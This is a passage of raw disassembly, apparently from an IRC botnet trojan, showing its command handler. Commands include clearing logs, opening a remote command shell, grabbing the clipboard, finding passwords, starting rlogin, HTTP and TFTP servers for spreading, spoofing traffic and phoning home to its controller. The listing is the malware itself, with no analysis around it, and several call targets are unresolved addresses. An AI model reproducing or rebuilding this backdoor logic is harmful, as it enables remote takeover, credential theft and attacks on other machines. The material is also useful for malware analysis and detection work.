		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		call	near ptr 2680972h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2670000h
		nop


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		nop
		call	near ptr 26709F6h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	near ptr 2680972h
		nop
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

